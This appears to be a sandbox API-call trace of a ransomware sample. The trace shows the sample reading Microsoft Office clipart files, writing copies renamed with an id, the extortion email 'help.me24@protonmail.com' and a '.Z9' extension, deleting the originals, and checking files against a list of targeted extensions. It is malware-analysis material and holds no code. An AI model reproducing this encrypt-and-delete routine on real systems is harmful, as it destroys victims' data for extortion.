	[0163.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0163.439] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.439] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0163.440] GetLastError () returned 0x0
	[0163.440] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0163.459] WriteFile (in: hFile=0x454, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0163.460] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.460] WriteFile (in: hFile=0x454, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.461] SetEndOfFile (hFile=0x454) returned 1
	[0163.462] CloseHandle (hObject=0x454) returned 1
	[0163.480] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.480] SetEndOfFile (hFile=0x450) returned 1
	[0163.484] CloseHandle (hObject=0x450) returned 1
	[0163.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0163.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0163.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.485] lstrlenW (lpString=".doc") returned 4
	[0163.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.485] lstrlenW (lpString=".docx") returned 5
	[0163.485] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0163.485] lstrlenW (lpString=".pdf") returned 4
	[0163.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.485] lstrlenW (lpString=".xls") returned 4
	[0163.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.485] lstrlenW (lpString=".xlsx") returned 5
	[0163.485] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0163.485] lstrlenW (lpString=".ppt") returned 4
	[0163.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.486] lstrlenW (lpString=".zip") returned 4
	[0163.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.486] lstrlenW (lpString=".rar") returned 4
	[0163.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString=".bz2") returned 4
	[0163.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString=".7z") returned 3
	[0163.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.486] lstrlenW (lpString=".dbf") returned 4
	[0163.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.486] lstrlenW (lpString=".1cd") returned 4
	[0163.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.486] lstrlenW (lpString=".jpg") returned 4
	[0163.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.486] lstrlenW (lpString=".doc") returned 4
	[0163.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString=".docx") returned 5
	[0163.486] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0163.486] lstrlenW (lpString=".pdf") returned 4
	[0163.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString=".xls") returned 4
	[0163.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.486] lstrlenW (lpString=".xlsx") returned 5
	[0163.486] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0163.486] lstrlenW (lpString=".ppt") returned 4
	[0163.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.487] lstrlenW (lpString=".zip") returned 4
	[0163.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.487] lstrlenW (lpString=".rar") returned 4
	[0163.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.487] lstrlenW (lpString=".bz2") returned 4
	[0163.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.487] lstrlenW (lpString=".7z") returned 3
	[0163.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.487] lstrlenW (lpString=".dbf") returned 4
	[0163.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.487] lstrlenW (lpString=".1cd") returned 4
	[0163.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0163.487] lstrlenW (lpString=".jpg") returned 4
	[0163.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.487] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0163.487] lstrlenW (lpString="J0099153.WMF") returned 12
	[0163.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0163.488] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=13874) returned 1
	[0163.488] CloseHandle (hObject=0x450) returned 1
	[0163.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0163.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0163.489] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.489] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0163.490] GetLastError () returned 0x0
	[0163.490] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3632, lpOverlapped=0x0) returned 1
	[0163.495] WriteFile (in: hFile=0x45c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3640, lpOverlapped=0x0) returned 1
	[0163.823] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.823] WriteFile (in: hFile=0x45c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.823] SetEndOfFile (hFile=0x45c) returned 1
	[0163.989] CloseHandle (hObject=0x45c) returned 1
	[0164.086] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.086] SetEndOfFile (hFile=0x450) returned 1
	[0164.106] CloseHandle (hObject=0x450) returned 1
	[0164.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0164.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.108] lstrlenW (lpString=".doc") returned 4
	[0164.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.108] lstrlenW (lpString=".docx") returned 5
	[0164.108] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0164.108] lstrlenW (lpString=".pdf") returned 4
	[0164.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.108] lstrlenW (lpString=".xls") returned 4
	[0164.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.108] lstrlenW (lpString=".xlsx") returned 5
	[0164.108] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0164.108] lstrlenW (lpString=".ppt") returned 4
	[0164.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.109] lstrlenW (lpString=".zip") returned 4
	[0164.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.109] lstrlenW (lpString=".rar") returned 4
	[0164.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString=".bz2") returned 4
	[0164.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString=".7z") returned 3
	[0164.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.109] lstrlenW (lpString=".dbf") returned 4
	[0164.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.109] lstrlenW (lpString=".1cd") returned 4
	[0164.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.109] lstrlenW (lpString=".jpg") returned 4
	[0164.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.109] lstrlenW (lpString=".doc") returned 4
	[0164.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString=".docx") returned 5
	[0164.109] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0164.109] lstrlenW (lpString=".pdf") returned 4
	[0164.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.109] lstrlenW (lpString=".xls") returned 4
	[0164.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.110] lstrlenW (lpString=".xlsx") returned 5
	[0164.110] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0164.110] lstrlenW (lpString=".ppt") returned 4
	[0164.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.110] lstrlenW (lpString=".zip") returned 4
	[0164.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.110] lstrlenW (lpString=".rar") returned 4
	[0164.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.110] lstrlenW (lpString=".bz2") returned 4
	[0164.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.110] lstrlenW (lpString=".7z") returned 3
	[0164.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.110] lstrlenW (lpString=".dbf") returned 4
	[0164.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.110] lstrlenW (lpString=".1cd") returned 4
	[0164.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0164.110] lstrlenW (lpString=".jpg") returned 4
	[0164.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.110] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.111] lstrlenW (lpString="J0099158.WMF") returned 12
	[0164.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0164.111] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=26160) returned 1
	[0164.111] CloseHandle (hObject=0x450) returned 1
	[0164.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0164.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0164.112] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.112] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468
	[0164.114] GetLastError () returned 0x0
	[0164.114] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x6630, lpOverlapped=0x0) returned 1
	[0164.117] WriteFile (in: hFile=0x468, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x6640, lpOverlapped=0x0) returned 1
	[0164.120] ReadFile (in: hFile=0x450, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.120] WriteFile (in: hFile=0x468, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.120] SetEndOfFile (hFile=0x468) returned 1
	[0164.120] CloseHandle (hObject=0x468) returned 1
	[0164.120] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.120] SetEndOfFile (hFile=0x450) returned 1
	[0164.125] CloseHandle (hObject=0x450) returned 1
	[0164.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0164.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.126] lstrlenW (lpString=".doc") returned 4
	[0164.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.126] lstrlenW (lpString=".docx") returned 5
	[0164.126] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.127] lstrlenW (lpString=".pdf") returned 4
	[0164.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.127] lstrlenW (lpString=".xls") returned 4
	[0164.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.127] lstrlenW (lpString=".xlsx") returned 5
	[0164.127] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.127] lstrlenW (lpString=".ppt") returned 4
	[0164.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.127] lstrlenW (lpString=".zip") returned 4
	[0164.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.127] lstrlenW (lpString=".rar") returned 4
	[0164.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.127] lstrlenW (lpString=".bz2") returned 4
	[0164.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.127] lstrlenW (lpString=".7z") returned 3
	[0164.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.127] lstrlenW (lpString=".dbf") returned 4
	[0164.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.127] lstrlenW (lpString=".1cd") returned 4
	[0164.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.127] lstrlenW (lpString=".jpg") returned 4
	[0164.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.128] lstrlenW (lpString=".doc") returned 4
	[0164.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.128] lstrlenW (lpString=".docx") returned 5
	[0164.128] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.128] lstrlenW (lpString=".pdf") returned 4
	[0164.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.128] lstrlenW (lpString=".xls") returned 4
	[0164.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.128] lstrlenW (lpString=".xlsx") returned 5
	[0164.128] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.128] lstrlenW (lpString=".ppt") returned 4
	[0164.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.128] lstrlenW (lpString=".zip") returned 4
	[0164.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.128] lstrlenW (lpString=".rar") returned 4
	[0164.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.128] lstrlenW (lpString=".bz2") returned 4
	[0164.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.128] lstrlenW (lpString=".7z") returned 3
	[0164.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.129] lstrlenW (lpString=".dbf") returned 4
	[0164.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.129] lstrlenW (lpString=".1cd") returned 4
	[0164.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0164.129] lstrlenW (lpString=".jpg") returned 4
	[0164.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.129] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.129] lstrlenW (lpString="J0099159.WMF") returned 12
	[0164.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0164.131] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=27546) returned 1
	[0164.131] CloseHandle (hObject=0x450) returned 1
	[0164.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0164.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
